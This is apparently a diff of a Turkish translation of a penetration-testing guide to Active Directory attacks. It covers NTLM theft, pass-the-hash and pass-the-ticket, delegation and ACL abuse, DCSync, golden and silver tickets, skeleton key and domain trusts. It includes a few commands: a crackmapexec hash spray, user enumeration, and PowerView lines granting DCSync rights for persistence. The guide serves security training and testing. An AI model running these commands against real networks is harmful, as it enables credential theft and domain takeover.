Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetiklenecektir**, böylece **NTLM zorluğunu çalabilirsiniz**:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Kimlik bilgileri/oturum ile Aktif Dizin Listeleme
## Kimlik Bilgileri/oturum ile Aktif Dizin Listeleme
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız.**
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız**.
Kimlik doğrulamalı listelemeye başlamadan önce **Kerberos çift atlama sorununu** bilmelisiniz.
@ -161,7 +161,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb.
- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir.
- Dizin listelemek için kullanabileceğiniz bir **GUI aracı** **SysInternal** Suite'den **AdExplorer.exe**'dir.
- Dizin listelemek için kullanabileceğiniz **GUI'ye sahip bir araç** **AdExplorer.exe**'dir, **SysInternal** Suite'ten.
- Ayrıca, _userPassword_ & _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı da listeleyebilirsiniz.
- Ayrıca otomatik araçlar denemek isteyebilirsiniz:
@ -169,7 +169,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Tüm alan kullanıcılarını çıkarmak**
Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta şunları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" <DC IP>`
Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta, `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" <DC IP>` kullanabilirsiniz.
> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır.
@ -189,9 +189,9 @@ Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişimi
### Yerel Yetki Yükseltme
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) dökebilirsiniz.
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) dökebilirsiniz.
Bu kitapta [**Windows'ta yerel yetki yükseltme hakkında**](../windows-local-privilege-escalation/index.html) bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
### Mevcut Oturum Biletleri
@ -205,11 +205,11 @@ Beklenmedik kaynaklara erişim izni veren **biletler** bulmanız çok **olasıl
```
### NTML Relay
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.**
Eğer aktif dizini sıralamayı başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.**
### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın**
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan ilginç dosyaları bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
Artık bazı temel kimlik bilgilerine sahip olduğunuz için, **AD içinde paylaşılan ilginç dosyaları bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
[**Kullanabileceğiniz araçlar hakkında bilgi edinmek için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
@ -235,14 +235,14 @@ printnightmare.md
### Hash çıkarımı
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html).\
Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html) kullanarak **bazı yerel yönetici** hesaplarını **tehlikeye atmayı** başardınız.\
Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\
[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Hash'i Geç
**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **bu hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **sessionlogon** oluşturup **o hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
[**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash)
### Hash'i Aşma/Key'i Geç
@ -255,15 +255,15 @@ over-pass-the-hash-pass-the-key.md
### Bileti Geç
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini çalarlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini alırlar. Bu çalınan bilet daha sonra **kullanıcıyı taklit etmek için** kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar.
{{#ref}}
pass-the-ticket.md
{{#endref}}
### Kimlik Bilgileri Yeniden Kullanımı
### Kimlik Bilgilerini Yeniden Kullanma
Eğer bir **yerel yönetici**'nin **hash'ine** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz.
Eğer bir **yerel yönetici**'nin **hash** veya **şifresine** sahipseniz, bunu kullanarak diğer **PC'lere** **yerel olarak giriş yapmayı** denemelisiniz.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar
Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse, eğer kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
{{#ref}}
@ -284,7 +284,7 @@ abusing-ad-mssql.md
### Sınırsız Delegasyon
Eğer [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının TGT'sini bellekten dökme yeteneğine sahip olursunuz.\
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\
Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\
Sınırlı delegasyon sayesinde, bir Yazıcı Sunucusunu **otomatik olarak ele geçirebilirsiniz** (umarım bu bir DC olacaktır).
@ -294,8 +294,8 @@ unconstrained-delegation.md
### Sınırlı Delegasyon
Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz.
Bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\
Daha sonra, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz.
{{#ref}}
constrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### ACL'lerin Kötüye Kullanımı
Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
Kompromize olmuş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
{{#ref}}
acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### Yazıcı Spooler Servisi Kötüye Kullanımı
Alan içinde bir **Spool servisi dinleyicisi** bulmak, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
Alan içinde bir **Spool servisi dinliyorsa**, bu durum **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**.
{{#ref}}
printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Üçüncü Taraf Oturumlarının Kötüye Kullanımı
Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon'lar enjekte etmek** mümkün olabilir.\
Eğer **diğer kullanıcılar** **kompromize** olmuş makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\
Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz:
{{#ref}}
@ -344,7 +344,7 @@ laps.md
### Sertifika Hırsızlığı
Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
Kompromize olmuş makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
{{#ref}}
ad-certificates/certificate-theft.md
@ -358,11 +358,11 @@ Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yük
ad-certificates/domain-escalation.md
{{#endref}}
## Yüksek Yetkili Hesap ile Sonrası Sömürü
## Yüksek Yetkili Hesap ile Post-Exploitation
### Alan Kimlik Bilgilerini Dökme
**Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_.
Bir kez **Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_.
[**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md).
@ -391,27 +391,27 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### Gümüş Bilet
### Silver Ticket
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini (örneğin, **PC hesabının hash'ini**) kullanır. Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
**Silver Ticket saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
{{#ref}}
silver-ticket.md
{{#endref}}
### Altın Bilet
### Golden Ticket
Bir **Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
**Golden Ticket saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı).
Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Silver ticket saldırısı).
{{#ref}}
golden-ticket.md
{{#endref}}
### Elmas Bilet
### Diamond Ticket
Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir.
Bunlar, **yaygın golden ticket tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş golden ticket'lardır.
{{#ref}}
diamond-ticket.md
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
### **Sertifikalar Alan Sürekliliği**
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:**
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle sürekliliği sağlamak da mümkündür:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -441,7 +441,7 @@ Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain
### DSRM Kimlik Bilgileri
Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunmaktadır. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar.
Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar.
{{#ref}}
dsrm-credentials.md
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL Sürekliliği
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanıyabilir.
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanır.
{{#ref}}
acl-persistence-abuse/
@ -457,13 +457,13 @@ acl-persistence-abuse/
### Güvenlik Tanımlayıcıları
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **sahip olduğu izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
{{#ref}}
security-descriptors.md
{{#endref}}
### İskelet Anahtar
### Skeleton Key
**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun.
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPNs...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır.
{{#ref}}
@ -504,34 +504,34 @@ Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir al
### Temel Bilgiler
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklarlar.
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir.
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir.
**Adımlar**:
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir.
3. İstemci, **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder.
4. Inter-realm TGT, iki yönlü alan güveninin bir parçası olarak DC1 ve DC2 arasında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder.
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni olarak paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar.
### Farklı Güvenler
**Bir güvenin 1 yönlü veya 2 yönlü** olabileceğini belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**.
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlanabilir.
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır.
**Farklı güvenen ilişkileri**
**Farklı güvenen ilişkiler**
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir.
- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle birlikte SID filtrelemesi ile artırılır.
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
- **Dış Güvenler**: Farklı, ilişkisi olmayan alanlar arasında kurulur ve doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
- **Ağaç-Kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
